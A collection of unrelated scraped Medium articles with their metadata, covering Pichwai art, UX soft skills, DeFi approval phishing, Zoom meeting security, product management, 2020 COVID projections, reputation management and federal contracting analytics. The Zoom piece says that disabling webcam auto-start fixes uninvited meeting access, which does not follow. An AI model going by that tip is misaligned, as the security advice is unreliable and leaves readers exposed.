Usually, Krishna is shown standing beneath a blooming Kadamba tree with three or four gopis on either side of him. In addition to the Kadamba, there is a full or half mange tree behind each group of gopis. More commonly, Krishna’s presence among the milkmaids is merely suggested by a creeper, which twins around the trunk of the Kadamba. The posture of the Gopis play a major role in design.
They may dance for the Sharada Purnima or carry milk pots for the Daana Lila. When the background has raindrops and the sky is thick with clouds, it is the rainy season or a Varsha Pichwai. Each scene has a band of cows at the bottom of the hanging. The Morakuti Pichwai is filled with dancing peacocks. It is associated with the rainy season because at the first sound of thunder, the peacock spreads his magnificent feathers. The various other Pichwais are :
Ramnavami Pichwai
Nandmahotsava Pichwai :This tender scene described by Surdas is what is enacted on Nandamahotsava, where the vatsalya bhava or selfless parental love of Nanda and Yashoda is commemorated. On the occasion of the Nandamahotsav, celebrated the day after Janmashtami or the birth of Krishna, the doors of the inner sanctum remain open for darshan all day long. Shrinathji in his Navnitpriyaji swaroop is swung in a cradle by priests who dress up as Yashoda and Nanda to enact this scene. There are also celebratory dances with the temple servants dressed as the gopas and gopis of Vraj.As Krishna grows up, he becomes beloved of the whole village. Indulged as he is, he becomes a mischievous child, his love for milk and butter becomes legendary, and his charm grows steadily more irresistible.
Daana Ekadashi Pichwai:The festival of Daana Lila is celebrated in August-September and has its origins in bhakti poetry where Krishna demanded milk and butter from the gopis as a toll for safe passage home. It is believed that this occurred in a valley in Mount Govardhana known as Daana Ghati, and while some pichwais depict the entire narrative and enactment of the gopis sharing their milk with Krishna, others only suggest the event with Shrinathji being approached by gopis bearing milk pots on their heads. At Nathadwara, the festival of Daana Lila, goes on for twenty days! Krishna grows gradually into the perfect cowherd: the one who all cows heed, answering to his flute as if in a state of intoxication.
Braj Yatra Pichwai
Sharad Purnima Pichwai :Ras Lila or Maha Rasa on the occasion of Sharad Purnima .Bhakti, the central tenet of the Pushti Marg doctrine is epitomised by the Ras Lila, where adolescent Krishna dances with his gopis. On a full moon night in the Vraj forest, by the flowing Yamuna, Krishna’s melodious flute calls out to the gopis like the pied piper, and they are forced to abandon everything to dance with him. The spirit of abandon and surrender that the Ras Lila evokes is the realization of bhakti: it represents the ultimate union of the soul with the Lord, a joining together in a cosmic dance. Thus, it is a theme dear to most patron-devotees and an extremely popular choice for pichwais.
Chourasi Swaroop Srinathji: The pichwai painting depicts the chourasi (eighty-four) swoops (forms) of Shrinathji. In Nathdwara, the ‘shringar’ of Lord Shrinathji is changed according to the time of day, different seasons and different festivals. The deity is decorated in a specific manner for each event. This painting depicts eighty-six different figures surrounding the central Shrinathji deity, of which eighty-four show different forms or swaroops of Shrinathji. The two at the bottom left and bottom right depicts the gosai, or the head priests, who imparted learnings of the Pushtimarg sect.
Annakuta Pichwai :The episode represented by this image relates to the autumnal offerings the villagers of Vraj were about to make to Indira, the nominal king of the Gods. Krishna suggested that worship instead be offered to the spirit of the mountain that sustained the pastures and woods that supported their livelihoods — and transformed into the mountain king in order to receive their offerings. The annual reenactment of this scene thus gains the name Annakuta or ‘mountain of food’. When a wrathful Indira unleashed a rainstorm in fury, Krishna vanquished him by lifting the mountain on the little finger of his left hand — captured by the key iconographic gesture of Shrinathji’s raised left hand.
Gowardhana Dharana Pichwai: Shrinathji and his this Posture — is the Dominant Figure in Pichwais .Krishna, as a child, lifted Govardhan Parvat (hill) on his little finger for seven days, and safeguarded the people of Vrindavan from Lord Indira’s devastating thunderstorms. Right hand typically rests on his waist, or is lowered in an act of blessing.
Gopashtami Pichwai :The Gopashtami festival takes place in the late autumnal months, and marks the elevation of Krishna from a younger herders of calves to a full cowherd. Cows are adorned with henna and sindur hand prints, peacock plumes and with bells around their necks. At Nathadwara, the cows, decked in their finest, are brought into the haveli.
Morakuti(monsoon)Pichwai : Pichwais for Morakuti, as seen below, depict peacocks with crested crowns dancing in full abandon in the rainy season. Named after a small village in Vraja, near the birthplace of Radha, where peacocks abound — these pichwais mimic the ras lila, or Krishna’s dance with Radha and the gopis.
Varsha Pichwai : Varsha or Vrikshachari pichwais evoke Krishna as a vrikshacharya or tree dweller. He is only symbolically represented in the painting therefore, usually through the kadamaba tree, while in anticipation of his arrival gopis appear on either side of the tree carrying offerings of garlands, peacock fans, flowers and fly whisks.
Winter Pichwai
Different Scenes Depicted in Pichwais
Different seasons and events in Lord Krishna’s life are depicted in pichwais. Radiant pink lotuses adorn pichwais hung in summer, whereas peacocks are painted on pichwais used at temples during the rainy season.
Influence of Other Styles
Unlike the pigment-painted Pichwai, the other types of hangings such as embroidered or applique pieces were not the products of school which specialized in Pichwai. They were the works of craftsmen who excelled in sewing, weaving, or embroidery. The applique Pichwais were made by tailors employed by temples on occasions, the tailor worked in collaboration with an artist who sketched the pattern for the figures and later added the painted details.
The Zordozi hangings, which occupied an important position in the main house of the Vallabh sampradaya, were also the works of tailors. Gold or silver metal threads were stitched to satin or velvet with thin silk threads giving the works the appearance of true embroidery.
Brocade hangings are quite popular because they are well -suited to the winter weather. Such pieces are made by professional weavers on special order. | https://uxdesign.cc/pichwai-art-adding-colour-to-indian-culture-e66e7384b199 | ['Vinita Mathur'] | 2020-12-28 12:38:13.272000+00:00 | ['India', 'Visual Design', 'Design', 'Art', 'Iskon'] |
Emotional Vs Technical Skills in Design. | Emotional Vs Technical Skills in Design.
The industry of Design has traversed through the landscape of creativity, became captured by capitalistic incentives and now has become imperatively impactful, and so with hope, will return to the space of creativity and imagination. Lylo Sy Trotta Dec 18, 2020·4 min read
The builder of the fire is parallel to the energy that fire creates.
I want to discuss the industry of User Experience design and the emphasis placed on these two departments of skill and experience, one being rooted in the ability to do the work and the other being about the methods and considerations around how the work is done. These factors are always present in workplaces or anywhere humans coalesce. It is often that a person is valued more by their technical skills, as those are the skills that are able to be obtained from a resume or job application. It is usually not until months into working with someone that their internal nature is revealed. What if it was this is what was measured to be considered for a position on a team? How important is the way in which people operate and how can it be measured?
I believe that much of this disparagement in values is rooted in the capitalistic view of humans as sources to be extracted, just like the planet, and less as individuals with the potential to be recognized and leveraged. In order to locate a persons’ gauge on their “soft skills,” the method of discovery needs to be rooted in “soft skills”. In other words, you can’t find a diamond in the rough with a hammer. What even are soft skills? I consider such skills to be representative of a person’s character and could include:
Self-Awareness Empathy Compassion Willingness Humbleness Courage Trust
Let’s break these down a little bit.
Self-Awareness is the ability of a person to be aware of themselves in the moments of their actions and in retrospect. It is an underlying observation of ones’ own patterns, needs, wants, and boundaries. An individual with a strong awareness of themself holds the potential to navigate situations in their life through open communication with agency and passion.
Empathy is a broad term that in this context I am referring to the ability of someone to be able to take that aforementioned self-awareness and recognize that every other living being on this planet also is a self that is worthy of recognition. It is a general understanding that the “you” is a part of a whole and to feel for another as if it were your own pain because, in a theoretical and mystical way, it is.
Compassion is like empathy in practice. To show compassion for oneself, and for other living beings is forever intertwined. The softer we are with ourselves, insert self-awareness, the more soft and vulnerable we will be with others, which in essence is compassion. Giving people the benefit of the doubt, when it’s called for.
Willingness is the ability to accept being wrong or to accept that sometimes we may be received in a way that strays from our intention. It is what comes with compassion, as we open ourselves up to learning and growing.
Humbleness is rooted. It is a mixture of the concepts of knowing and not knowing and the acceptance of the wavering line between them. It is knowing that everyone else is trying, just like you, to simply be OK and also knowing that you could never possibly know what someone else is going through unless you ask.
Courage is knowing one's values and leveraging them through all circumstances. To be courageous is to stand in the face of opposition and give voice/action to the value one holds. Courage is being able to ground oneself in moments of tension and make decisions that are emotionally considerate and sensitive.
Trust is what builds when someone supports their own inner work and development. Trust is knowing that there is a purpose underlying the actions we take as individuals. Trust occurs when one is impeccable with their word, and consistent in their commitment to their values and for taking ability when called for.
These are just 7 concepts I would consider emotional skills, worthy of learning and practicing in all the work we do as individuals and professionals. I believe that companies would be able to create more impactful, important, and human-centered products and services if they invested into their teams’ soft skills. That could mean offering emotional intelligent workshops among the teams and/or hiring people in a way that seeks out those who have an understanding of the soft skills needed to collaborate on the specific team.
In the mean time, we can always practice our soft skills, and I would argue that it is often the soft skills over the technical skills that require attention and consistent practice among organizations and companies. User Experience Design knows that, now they just need to reflect it upon the way that we treat the positions themselves. | https://medium.com/@lylosytrotta/emotional-vs-technical-skills-in-design-c5c2ce390dee | ['Lylo Sy Trotta'] | 2020-12-18 16:53:59.241000+00:00 | ['Empathy', 'UX Design', 'Emotional Intelligence', 'UX', 'Hiring'] |
The most primitive DeFi attack vector and what you can do about it | View this article originally posted on alphawallet.com
With the advent of DeFi, ethereum users have witnessed a true 10x improvement to the legacy financial system. We are now able to earn roughly 10x the amount of interest we get on our bank accounts, are able to issue and use US dollars on ethereum without a US bank account and can openly audit the services themselves (good luck trying that with your bank).
While this is a great leap forward for the industry, we are still prone to the same old web 2.0 attack vectors of the past.
The attack vector I am talking about is not anything advanced like what was highlighted by Ameen’s awesome analysis on the compound protocol but something much more primitive: phishing.
In all the DeFi services that exist today, users must send an approval transaction to allow the DeFi contract to move funds on their behalf; for example, I approve the compound smart contract to move my DAI on my behalf when I want to lend or borrow from the platform.
Such a detail may seem trivial on the surface but it is not. It is super easy to fork the compound website and replace the contract with a malicious one, while running the site on a domain that looks very similar to the original.
The typical user will access such a service and send an approval transaction, only to find that you have not approved the legitimate compound contract but a malicious one which immediately confiscates all the DAI you have in your account.
Such a move is very easy to fall for as you are probably used to approving services like compound and won’t be bothered to actually verify what the contract does. This is the perfect opportunity for scammers to take advantage of both advanced and new users.
This poor fellow lost 14.1K worth of SAI by using a fake service
How AlphaWallet solves this problem
AlphaWallet is the first ethereum wallet to support TokenScript, an open source framework which allows you to write secure token logic modules and requires a signature from the author to provide assurance that it comes from a valid source.
TokenScripts, once signed, cannot be tampered with or else the signature will become invalid and it will not run on your device without a warning.
Other token issuers can import your token logic and inherit the security, knowing it came from a valid author and is therefore free of malicious intent.
A TokenScript can be run on mobile with a native feel, meaning you will not have to write custom logic or a new app for iOS and Android to have your token working on mobile. TokenScripts can even be updated in real time without having to release a new app build.
Convert your SAI to DAI, wrap/unwrap your ether and use Compound with security and ease on mobile
Each user can see that the TokenScript is valid by checking the green tick and developers can verify the authenticity of the TokenScript modules they use by checking the signature manually.
I am a token issuer, how can I get started with TokenScript?
Visit the TokenScript website and forum by clicking here or visit our GitHub here.
Learn More about AlphaWallet | https://medium.com/alphawallet/the-most-primitive-defi-attack-vector-and-what-you-can-do-about-it-3e1a56ead837 | ['James Sangalli'] | 2020-06-05 23:04:15.370000+00:00 | ['Ethereum', 'Security', 'Scam', 'Defi', 'Tokenscript'] |
Zoom: Are You Sure That You Are In A Secure Private Meeting? | We are living in a world where technology has a massive and important use in each one of us. Technologies are changing the way we live and work. With the use of technology, we can connect to any person in any part of the world. We could even have a meeting via the Internet. We have lots of app and software that help us to have a meeting and one of these is the Zoom.
Zoom provides us video conferencing, online meetings and chat. How are you sure that you are in a secure private meeting?
There was a recent issue that Zoom could have let uninvited people join private meetings. According to The Hacker News, these people can join an active meeting by entering a unique Meeting ID, without requiring a password or going through the Waiting Rooms.
They said that Zoom generates this random meeting ID, comprised of 9, 10, and 11-digit numbers, for each meeting you schedule or create. If leaked beyond an individual or intended group of people, merely knowing Meeting IDs could allow unwelcome guests joining meetings or webinars. But to make Zoom meetings more secure, introduced some additional controls for the password settings.
Users can now enable passwords on a meeting-by-meeting basis. According to Zoom Help Center, these new settings are:
Require a password when scheduling new meetings
Require a password for instant meetings
Require a password for Personal Meeting ID (PMI)
And according to The Hacker News, as a result of Check Point’s disclosure, Zoom introduced the following security features and functionalities into its cloud-based video conferencing service:
Default Passwords — Zoom now, by default, automatically generates a six-digit numeric password for each meeting you create that participants need to enter when joining by manually entering the meeting ID.
— Zoom now, by default, automatically generates a six-digit numeric password for each meeting you create that participants need to enter when joining by manually entering the meeting ID. Account and Group Level Password Enforcement — Under new controls, three new password settings are now enforceable at the account, group, and user levels by the account admin.
— Under new controls, three new password settings are now enforceable at the account, group, and user levels by the account admin. Meeting ID Validation — Zoom will no longer automatically indicate if a meeting ID is valid or invalid, making it harder for automated scripts to determine active meetings. For each connection, the page will load and attempt to join the meeting. Thus, a bad actor will not be able to quickly narrow the pool of meetings to attempt to join.
— Zoom will no longer automatically indicate if a meeting ID is valid or invalid, making it harder for automated scripts to determine active meetings. For each connection, the page will load and attempt to join the meeting. Thus, a bad actor will not be able to quickly narrow the pool of meetings to attempt to join. Device blocker — To prevent brute force attacks, repeated attempts to scan for meeting IDs will cause a device to be blocked for some time.
However, the good news is that you can still fix this issue by yourself. All you need to do is manually disable the setting that allows Zoom to automatically turn your webcam on when joining a meeting.
One of the top priorities of Zoom is its users’ privacy and security. Zoom continues to provide remote conferencing service and secure its users the best way they can. | https://medium.com/@nzcs/zoom-are-you-sure-that-you-are-in-a-secure-private-meeting-3992377d7089 | ['New Zealand Computing Solutions'] | 2020-07-07 23:32:31.277000+00:00 | ['Privacy', 'Zoom', 'Cybersecurity', 'Online Meetings', 'Security'] |
The Power Of No. Thanks To The Product Objective | One of my favourite things about Objectives and key results (OKR’s) is the Product Objective. Otherwise known as a “one liner”, a single sentence that gives the power of “No”. As a Product Manager (PM), I lean on this a great deal.
As PM’s, we have many great ideas from countless sources that land in our laps. But, we have limited time and by saying yes when we want to say no, we can over commit our teams. Everything we say yes to, takes away our capacity to deliver on our objectives.
But why is it so hard to say no?
Because we fear disappointing others. When put on the spot, we often respond based on our anxieties rather than our rational mind. Benchmark Psychology “Saying “No”- a beginners guide” recommends
“When you are put on the spot, learn how to say something like “I’d like to think about that before I give you an answer” or “I’ll need to check my diary before I give you an answer”. This will give you the chance to step away and consider the opportunity rationally.”
So what does this mean in a Product context? In this case, the easiest thing to do is take some time to consider it, take a moment to assess whether the request will help deliver on your goals and objectives. You can consider whether it is a “No”:
Just for now — the idea may help you solve a problem and deliver on your goals, however it isn’t a priority currently, as what you are working on right now is more valuable.
Forever — The idea doesn’t help solve the problem you are trying to solve.
Either way, be sure to listen to the requests, thank the team or individual to appreciate their time and effort involved in thinking of an idea and sharing it with you. You can divert attention to your product “one liner” which helps present your response in a rational way which you can share back with your stakeholders. Your thoughtful explanation ensures they’ll be more receptive than if you’d responded with flat out “No” or the classic “I’ll put it in the backlog!” | https://medium.com/seek-blog/the-power-of-no-thanks-to-the-product-objective-a0e75db3c5b2 | ['Stephanie Pagano'] | 2020-07-05 22:05:57.654000+00:00 | ['Product Development', 'Okr', 'Product Management', 'Product Manager', 'Objectives'] |
It is more likely that Covid-19 will spread relatively unchecked by seasons | And this may be just the first wave of a pandemic that could return in multiple seasons, all depending on whether it can be contained by physical distancing, a potential vaccine, or other preventive measures.
“This is an extraordinarily transmissible virus, and I think it’s more transmissible than we recognize,” says Michael Mina, assistant professor of epidemiology at Harvard T.H. Chan School of Public Health.
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Mina has “little faith” in the accuracy or extent of Covid-19 testing so far. Between people who are sick but have not been tested and the unknown number of people carrying the disease without any symptoms and transmitting it, Mina and other epidemiologists says it’s completely unknown how many people are actually infected.
“We really don’t know if we’ve been 10 times off or 100 times off in terms of the cases,” Mina says. “Personally, I lean more to 50 or 100 times off.”
That means instead of more than a million cases in the world right now, there could be anywhere from 10 million to perhaps 100 million. That also means the extreme preventive measures like stay-at-home orders could last months, not weeks, Jeremy Konyndyk, a senior policy fellow at the Center for Global Development, tells the health news site Stat.
Few doubt that the effects will be grave, no matter what the actual number of cases is right now.
Total U.S. deaths from Covid-19 are projected to climb steeply in coming weeks and reach 93,531 by August 4, according to the Institute for Health Metrics and Evaluation (IHME), an independent global health research center at the University of Washington. The estimate, which includes a wide range of uncertainty, was cited by Dr. Deborah Birx, the White House coronavirus response coordinator.
‘It’s all coming soon’
“The spread and scope of Covid-19 is just immense, and that’s because it’s been spreading unchecked, and still is,” says Mark Cameron, PhD, an immunologist and medical researcher in the School of Medicine at Case Western Reserve University in Ohio.
During the 2003 SARS epidemic, which was also caused by a coronavirus, Cameron worked at Toronto General Hospital, the only major city that experienced an outbreak outside of China. That disease and this one yielded similar data on many measures except one: the ratio of severe to mild cases. “People who got SARS in 2003 got very sick very fast, so it was easy to identify them and isolate and treat them,” Cameron says. Conversely, a far lower percentage of people had mild or no symptoms with SARS, so it did not spread as rapidly as Covid-19.
Many of the same extreme preventive measures were taken in Toronto as are being done now in states across America, Cameron says, and the 2003 epidemic was contained, and the virus was apparently eliminated from the human population.
“This virus is very smart, and it spreads very easily,” Cameron says of Covid-19. “This is unprecedented. This is a 100-year pandemic.”
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The first U.S. case of Covid-19 was reported on January 21, 2020. This chart shows the number of new cases each day since then, through April 7. Credit: Johns Hopkins University School of Medicine
New York’s coronavirus outbreak illustrates how population density fosters more rapid spread of a disease, Cameron and other experts say. But every city and state that has yet to see severe outbreaks of Covid-19 will get its turn, Cameron tells me. The curves will be similar, even if the total numbers of cases and deaths are lower.
“Every state will experience their own curve and their own peak,” he says.
Mina agrees, adding another twist that has yet to play out: It’s known that people with underlying health conditions are at greater risk for severe symptoms and death from the coronavirus. Areas with a high proportion of people who have heart disease and diabetes may therefore experience more severe death ratios than what’s been seen so far. Mina cited Memphis, New Orleans, and Atlanta as three examples.
“These are places that I think have the potential to be hit very hard,” Mina says. “It’s all coming soon.”
Making matters potentially worse, unlike New York and other major cities that have large, highly capable hospitals, many rural communities have none. St. John the Baptist Parish in Louisiana, near Baton Rouge, has the highest per capita coronavirus mortality rate in the nation right now and exactly zero hospitals, according to Politico.
How the curves ultimately play out depends largely on the extent to which preventive measures are put in place, kept in place, and followed by the public.
“Our estimated trajectory of Covid-19 deaths assumes continued and uninterrupted vigilance by the general public, hospital and health workers, and government agencies,” says Dr. Christopher Murray, director of IHME, the organization publishing the death projections cited by the White House. “The trajectory of the pandemic will change — and dramatically for the worse — if people ease up on social distancing or relax with other precautions. We encourage everyone to adhere to those precautions to help save lives.”
“Unlike seasonal influenza, where the transmission chains get easier to break in the warm summer months, we cannot count on Covid-19 relenting simply because of a change of season.”
Time to prepare
Meanwhile, cities, counties, and states fortunate enough to have watched the havoc unfold elsewhere have had an opportunity to take strong spread-prevention actions while simultaneously making preparations akin to a war footing while case counts are relatively low.
One example of a state in waiting is Ohio, where Governor Mike DeWine issued a strong stay-at-home order on March 23. “We haven’t faced an enemy like we are facing today in 102 years — we are at war,” DeWine said.
That strict order and other physical distancing measures help explain why Ohio has about one-fourth as many cases as neighboring Michigan, says Dr. Robert Salata, a professor of medicine in epidemiology and international health at Ohio’s Case Western Reserve University.
Salata leads the medical response in an 18-institution united command center, similar to what the military uses in a time of war. “And this is a time of war,” he says in a phone interview. Cases are starting to spike, and Ohio is in week one of a four-week ramp-up to an expected peak, he says.
“It’s not totally chaotic or a real crisis at this point,” Salata says. “But it can become so, and we’re preparing for that inevitability.”
He and colleagues are taking a variety of measures:
Eliminating elective surgeries and cutting back on even semi-urgent care to reduce occupancy in the system to just 60% — much lower than normal.
Working with a local biodefense company to figure out how to resterilize and reuse protective gear.
Figuring out when infected hospital workers can return to work by testing 10 days after symptom onset and again 24 hours later and letting them return if they test negative but still have a cough. (But, of course, they wear a mask.)
Using this low-volume window of opportunity to study the Covid-19 cases they do have, including through clinical drug trials.
“Ohio has had more time to watch what’s been happening in Seattle and the Bay Area and New York to be proactive instead of reactive,” Cameron says. “But at the same time, what I’m seeing in the case data, in general every city or county is experiencing the same type of curve. Ohio might have been a little lucky so far, and population density and measures that were taken proactively will help us, but we can’t be complacent in terms of this spread and the case rates of infection that have been seen everywhere else.”
72% of all counties probably already have an outbreak
Given the underreporting of total cases, disease modelers at the University of Texas at Austin used the available data to project the likelihood that any given county in the United States already has an outbreak, meaning sustained human transmission, whether they realize it or not.
“If a county has detected only one case of Covid-19, there is a 51% chance that there is already a growing outbreak underway,” the researchers state. “Covid-19 is likely spreading in 72% of all counties in the U.S., containing 94% of the national population.”
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Probability of ongoing Covid-19 outbreaks for the 3,142 counties in the United States. The chance of an unseen outbreak in a county without any reported cases is 9%. A single reported case suggests that community transmission is likely. Source: Emily Javan, Dr. Spencer J. Fox, Dr. Lauren Ancel Meyers
“Proactive social distancing, even before two cases are confirmed, is prudent,” conclude researchers Emily Javan, Dr. Spencer Fox, and Dr. Lauren Ancel Meyers. “Although not entirely surprising, these risk estimates provide evidence for policymakers who are still weighing if, when, and how aggressively to enact social distancing measures.”
Second wave… and then more
Meanwhile, worst-case scenarios are not inevitable, says Dr. Harvey Fineberg, president of the Gordon and Betty Moore Foundation, a philanthropic organization, and former president of the U.S. National Academy of Medicine.
“That choice begins with a forceful, focused campaign to eradicate Covid-19 in the United States. The aim is not to flatten the curve; the goal is to crush the curve,” Fineberg writes in an April 1 editorial in the New England Journal of Medicine. “China did this in Wuhan. We can do it across this country in 10 weeks.” But that would require quickly taking a far more aggressive approach than the current U.S. response, six big steps, including:
Establishing a unified command at the federal level and for each state.
Solving the shortage of protective gear for health care workers.
Making available millions of diagnostic tests.
While what is done now is vital, decisions in the coming weeks and months could prove similarly weighty.
“We know from the SARS 2003 outbreak in Toronto that there is a well-documented wave of second infections caused by letting some of the close-contact and personal protective equipment (PPE) precautions be relaxed because they felt they were on the other side of the curve,” Cameron says. “Turns out they weren’t, and a new curve, a new outbreak, a second wave, occurred in Toronto. We need to avoid that.”
Already some Asian countries that had flattened their curves are seeing resurgences in new cases, including Singapore and Taiwan, according to the New York Times.
Next season and beyond
Further ahead looms another great unknown: whether Covid-19 will subside with warmer temperatures, as is typical of some coronaviruses and influenza.
Don’t bank on it.
“Unlike seasonal influenza or common colds, where the transmission chains get easier to break in the warm, humid, summer months, especially amongst communities with herd immunity, we cannot count on Covid-19 relenting simply because of a change of season,” Cameron says. “Covid-19 has already bulldozed through multiple different climates in the Northern and Southern hemispheres quite easily.”
Among South American countries as of April 4, Brazil had 7,910 diagnosed cases and 299 deaths, Chile had 3,737 cases and 22 deaths, and Ecuador had 3,163 cases and 120 deaths.
Even if the pandemic does lessen or go away this summer in the United States, that won’t mean it’s gone.
“It is more likely that Covid-19 will spread relatively unchecked by seasons until the surges and curves have run their course… in populations worldwide, then return seasonally, hopefully put in some check by those amongst us with preexisting immunity by having had it already,” Cameron says. A vaccine would also help, of course, but that’s thought to be months away.
Breaking the chain of transmission
Cameron cites the 2009 H1N1 “swine flu” pandemic as an example of how viruses can flout the seasonality rule. “It took firm hold in the spring and summer months of 2009 in Mexico and the U.S., spreading virtually worldwide from there until August 2010.”
The influenza pandemic of 1918–19 cycled through multiple seasons across two years, ultimately killing some 675,000 people in the United States and more than 50 million around the globe. (In Boston, a second wave hit during the first season when World War I ended and large crowds gathered to celebrate.)
If there is a notable dip in Covid-19 cases this summer, all it takes to reemerge in the fall is for infected people, whether from south of the equator or from a fresh pocket in the Northern Hemisphere, to travel.
“There has to be a chain of human transmission to support the seasonality of a particular illness,” Cameron explains. “So, breaking that transmission is absolutely critical. If it finds enough of a foothold in enough places that we don’t detect, it will reemerge in the fall.” | https://medium.com/@iilham-kiki-e/it-is-more-likely-that-covid-19-will-spread-relatively-unchecked-by-seasons-4c724315ea40 | ['Iilham Kiki E'] | 2020-12-27 14:23:44.536000+00:00 | ['News', 'Covid 19', 'Tech', 'Social Media', 'Sports'] |
8 Tips To Manage Online Reputation | The reputation of your company and your brand is more important than ever to differentiate you from your competitors. Whether you are an SME, a large company, a listed or unlisted group, managing your reputation should be one of your main concerns and part of your communication processes.
With strategic brand reputation management tactics, you can easily improve your online reputation!
1. Develop content marketing
Giving before receiving — that would be the philosophy of content marketing. By studying your audiences and creating Buyers Personas that correspond to your customers, you will be able to create content that answers the questions they ask and propose topics that interest them.
Rather than trying to sell a product directly, gather people with similar interests around you. Offer them informative content that solves the common problems of your target audience.
This content can be of different kinds: blog articles, videos, tutorials, infographics, studies, surveys, white papers etc.
2. Personalise your customer relations
Although they are customers of your brand, your customers are all different. By establishing personalised contacts, you allow customers to feel valued and this helps you to build a special relationship with them. This generates brand loyalty, customer satisfaction and improves your reputation management efforts.
3. Respond to negative and positive online reviews
The online reputation of any business is crucial to building trust and standing out from competitors. When a customer is unhappy and posts a negative review about your brand on social networks, it is imperative that you respond to the reviews as quickly as possible.
It is important to set up monitoring tools on social networks and review sites in order to respond quickly to customers who express dissatisfaction.
With monitoring tools, when you receive a notification, respond to the comment as quickly as possible, be diplomatic in your response. By giving appropriate answers to negative comments and trying to turn the situation around, you will show Internet users that despite a malfunction you are responsive and professional. Everyone makes mistakes, the important thing is to be able to repair them with honesty and moderation.
Positive reviews should not be ignored either, it is important to respond to them, if only to thank the author.
4. Pay attention to customer satisfaction
A happy customer is a customer who comes back, who talks about your products and services, and becomes an ambassador for your brand and company.
Take care of your customers to keep them loyal. It is easier to maintain an existing customer than to acquire a new one. Customer satisfaction is not only the key to business growth, but it also has a direct impact on your brand reputation.
5. Build engagement on social networks
Social networks are used by a majority of the population. By developing your presence on them, you can benefit from the prescriptive power of the social web and use your customers and fan communities to share your publications and recommend them. Be aware of mentions of your brand and company via a monitoring tool. The community manager will be able to respond and stimulate interactions to develop your branding.
6. Stimulate customer reviews and testimonials
Consumers and potential customers trust product or service recommendations from friends and family much more than traditional advertising. By making it easier for your customers to recommend your business, you can create a virtuous circle of new customer acquisition and improve your overall reputation.
So stimulate the sharing of positive reviews, product reviews, tests, etc. by all possible and original means and involve your ambassadors and customers as relays. Getting more reviews on Google can help you improve your image.
7. Develop quality customer support
As a customer, there is nothing more annoying than not knowing how to contact customer service, getting stuck with someone who doesn’t give an answer and being redirected from person to person.
Responding to a customer problem as quickly as possible will improve the reputation of your brand and company.
Increase the number of ways to reach support so that customers can choose the methods they prefer — e-mail, phone, social networks, chat etc. Segment possible problem categories to redirect requests to support contacts who can respond directly.
8. Search engine optimisation (SEO)
Sustainable SEO strategies put your services, products and website at the top of Google on queries typed by potential customers looking for resources and solutions to their problems.
For brand and corporate reputation management, SEO relies on strategic keywords and useful content that drive traffic to your website, increase sales and enhance your image. Dereferencing also allows the cleaning of negative links on Google. | https://medium.com/@reputationdefender/8-tips-to-manage-online-reputation-46a28da92817 | [] | 2021-08-27 11:02:49.956000+00:00 | ['Search', 'Reputationdefender', 'Reputation Management', 'Search Engines', 'Online Reputation'] |
Allison, | Allison,
Remarkable story. You took your power back — way to go🦅
Your right, rape culture is unspeakable and we must call it out.
Be proud of yourself and seek help as needed.
Thanks for sharing! | https://medium.com/@bassey/allison-6e048b44d8e3 | ['Bassey Elimian'] | 2020-12-03 01:58:43.988000+00:00 | ['Rape', 'Rape Culture', 'Life Lessons', 'Self', 'Personal Growth'] |
Blog #10 Federal Contracting Market Share Trends and Patterns | TL;DR — Uncover competitive insights from information and analytics using Federal contracting #opendata. Analyze > 100GB’s of US Federal spending open data with a few lines of Python code.
Previous Blog Post in this series can be found at this link.
Python code and the jupyter notebook for this analysis is on Github here.
Introduction
Several of the most popular and influential HBR articles on business strategy explore the relationship between market share, market growth, and profitability. In this tenth blog in my series, I show you how you can use Federal spending open data (USAspending.gov) to help guide your analysis of the market and shape your business strategy.
For most companies competing in the Federal contracting market (“Federal market”), the ~$600B/year in annual spending seems like an almost infinite amount relative to their annual revenue and a market with unlimited growth potential. With the exception of weapons systems platforms, most of the aggregated Federal market is highly-fragmented, relative to most commercial markets. However, at the Agency level, market share is more concentrated and it is challenging to dislodge incumbents that have solid past performance records. Competition for that work at re-compete time (~ every 5 years) can be intense. Incumbents have huge advantages in the Federal market. Also, most services contracts are long term (typically, one year with four option years) and incumbent recompete win rates over 75% are not uncommon.
Capturing market share for your firm’s services is often a long game and it can be expensive to displace incumbents in terms of bid and proposal to capture the work and managing profitability after the win.
Many Federal contractors thrive on a steady proposal machine fueled by a healthy pipeline of qualified opportunities.
Is it possible to make better capture investment decisions using insights about analytical features in the market the reveal competitive intensity and Agency-level buyer preferences?
Are there ways to use Federal #OpenData and analytical techniques to guide your planning efforts to yield higher ROI with a more focused strategy?
Natural Limits to Market Share?
For some of the largest segments of the Federal contracting market, there seem to be boundaries on market share by product or service category that reflect market competition, customer preferences, contracting practices, and other factors. Exploring those forces at the Federal, Department, and Agency for the segment of products or services your firm concentrates on can help in shaping your investment plans for new opportunities and retention of incumbent work.
Spending by Federal designated product_or_service code for GFY2019 (~$590B total prime obligations):
PSC_Cat = product_or_service_code which is the dominant type of work within the prime contract.
Selecting a subset of these codes (A, B, D, M, Q, R, S) that are focused more on services than products, you can see the GFY10-GFY19 market share trends for the #1 company each year in that PSC_Cat.
Market share for #1 Company in each PSC_Cat: GFY2010–2019.
Growing market concentration at the top: The top market share firm in PSC_Cat Q Medical Services has jumped significantly (50% increase— from 20% to 30%) between GFY17 and GFY19 over the ~20% baseline earlier in the decade. PSC_Cat B Special Studies has doubled from ~5% to ~10%. PSC_Cat M Operation of Government-Owned Facility has increased from ~12% to %16. Those categories represent ~$54B/year and ~9% of total Federal obligations.
Stable or declining market concentration: The #1 contractor in PSC_Cat A Research and Development has dropped from ~18% market share to ~13% over the decade while PSC Cat D IT and Telecom remained relatively stable at ~6% (with a significant fluctuation between GFY13-GFY17 of 2x) at the start and end of the decade. PSC Cat R Support Services has seen a slight decline from ~4% to ~3.8%. For GFY 2019 PSC_Cat A + D + R => ~$177B which is ~31% of total prime contracting.
Clustering of Market Share for the #1 Contractor each GFY by $ Value and Share Fraction — select PSC_Cat
Note how the PSC_Cat market share values are clustered by type of work. It is possible to capture 20%-30% of the spending in Medical Services (PSC_Cat Q), a > $20B/year market, but the #1 contractors in other major spending categories are only able to capture about 5%-10% of the spending in their work segment.
Exploring PSC_Cat D (IT & Telecom), R (Support Svcs), and A (R&D)
Let’s dive into the large PSC_Cat D, R, and A categories and explore those further.
Top Contractor (“Top_1”) in a GFY and PSC_Cat | https://medium.com/@lulstrup/blog-10-federal-contracting-market-share-trends-and-patterns-eaaf4af9c4d6 | ['Leif Ulstrup'] | 2021-01-01 14:12:34.407000+00:00 | ['Analytics', 'Open Data', 'Python Pandas', 'Strategy', 'Federal'] |
